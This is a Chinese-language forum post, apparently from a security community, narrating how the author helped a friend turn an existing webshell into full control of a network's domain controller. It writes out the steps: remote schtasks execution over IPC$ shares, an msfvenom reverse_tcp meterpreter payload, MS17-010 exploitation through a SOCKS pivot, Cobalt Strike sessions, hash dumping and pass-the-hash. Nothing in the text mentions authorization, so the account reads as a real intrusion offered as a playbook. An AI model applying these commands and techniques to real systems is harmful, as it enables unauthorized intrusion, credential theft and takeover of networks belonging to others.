朋友拿下了一个webshell,想打打内网,但是无奈进不去,特此帮兄弟看看,这里也记录一下吧。先看杀软,此机器没有杀软.


然后在看有没有域,没有域.

然后我们就去抓密码,可能存在一种情况,就是本地的administrator的密码,可能是域管的密码。但是在这台机器上,我们并没有抓到administrator的密码
这个时候就有两种思路。
1.机器能出网,直接上cs。抓到本地管理的密码,横向撞一波,然后上去,抓一波密码,如果有域账号,就用域账号去装域机器,抓域管的账号密码。抓到大体上渗透就借宿。如果没有抓到域机器的,再用工作组管理员的账号去装其他工作组,再去抓密码。直到抓到域机器账号为止。
2.机器不能出网(但是也可以看看其他协议,比如tcp不行的话,我们可以看看dns,如果dns可以的话我们也能上线)。那么我们可以尝试用ipc去连接其他机器。然后通过计划任务的方法上线cs。我们可以先看看net use有没有机器建立了连接。如果有,那就更好,直接计划任务执行bat文件。如果没有,那我们只有一个一个net use去尝试。

然后我这台webshell就是无法出网,现在这个域只有这一台机器,根本上不了线。所以我们就先看看net use.看看是否建立了连接.

然后我们在一个一个去试探。

果然这个时候我们就成功的拿下一个
然后这个时候我们就用计划任务去上线,(我用的sc),直接把命令放上来.

1.首先在本机创建一个bat文件,里面写入想要执行的命令。
whoami >> c:\aa\1.txt
ipconfig >> c:\aa\1.txt
netstat -ano >> c:\aa\1.txt
2.然后在将1.bat文件考本到远程ipc的机器
copy 1.bat \192.168.160.139\C$\windows\temp
3.执行计划任务
schtasks /create /tn task1 /s 192.168.160.139 /tr C:\aa\1.bat /sc ONSTART /RU system /f
schtasks /run /tn task1 /s 192.168.160.139 /i
schtasks /f /delete /tn task1 /s 192.168.160.139

然后这个时候就等待,如果上不去那只能说这台机器也无法出网,那唯一的思路就是找找数据库的密码,去翻密码。因为此机器开了1521.也是web界面。所以只有找找oracle.


然后很幸运,我们88的机器能出网,至此,cs上了第一台机器。

然后抓密码


于是我们就拿下了管理员的hash。这个时候我们就可以批量pth一波

结果全失败了。现在我们的情况是拥有一个webshell。以及1台内网的工作组pc机器(此机器为mssql。开了1433)。
我们还是在88的机器net use一遍,没有什么新的收获.然后这个时候我们看看这个c段的机器。这个域应该很大的。


此时我们就用ms17010扫一波,先用socks的代理走出来。这时我把目标锁定在111这台机器(当然,其他有洞的机器都打了,都没有打不进去),但是用msf的exp是打不动的。这时候考虑用原生py打一波。

首先用msf生成一个32位的dll,msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=12399 -f dll > axgg.dll
然后我们现在kali设置一个监听代理,为的是让原生py进入

这里我的payload有问题,不应该用set payload windows/x64/meterpreter/reverse_tcp.后头打进去了,但是一直说我的sessions die当时没有注意看。所以应该用这个paylaod
set payload windows/meterpreter/reverse_tcp.

然后回到正题,用原生py打进去。


好的,现在我们的meterptrter弹过来了。
然后我们看出来是一台ftpserver.但是用shell却无法将cmd反弹过来。然后我们只好抓抓密码。抓完了hash。因为此机器为域机器,所以我们直接反弹到cs上。这里我反弹的方法为meterpreter upload cs生成的exe。如果有杀软,我们可以background,然后将msf的meterpreter反弹到cs。


然后抓一波hash。成功抓到administrator的密码


这个时候横向pth域控,直接拿下


然后我们再看看我们的身份(域管,直接拿下)


然后再看看有哪些组。


这时,这个域已经打完了。做一下总结吧!
112段起手,但是不能出网,net use存在已知的ipc连接,那么我们直接ipc连接,用sc或者计划任务上线了我们的88段,抓密码虽然抓到了administrator的hash。但是pth其他工作组没有撞上。为什么要装其他工作组,因为其他工作组的administrators这个管理组可能是其他域机器的域管理员,如果能装上那么就会很幸运,但是这里我们没有撞上。此时我们用msf的ms17_010批量扫了一波,有10多台左右,但是打不进去,这个时候我们就需要用原生py打一波,成功打下了144,至此,我们进入域,现在需要的就是从meterpreter反弹shell到cs。反弹上来抓一波密码,成功抓到administrator。直接pth过去。然后拿下域控。此时这个域已经打完。但是还是比较幸运,机器没有杀软,如果有杀软,还是特别硬的话,我们只能回到112,他是oracle的数据库,我们可以拿下oracle,然后在横向到其他web,在打内网。

点击收藏 | 2 关注 | 1
登录 后跟帖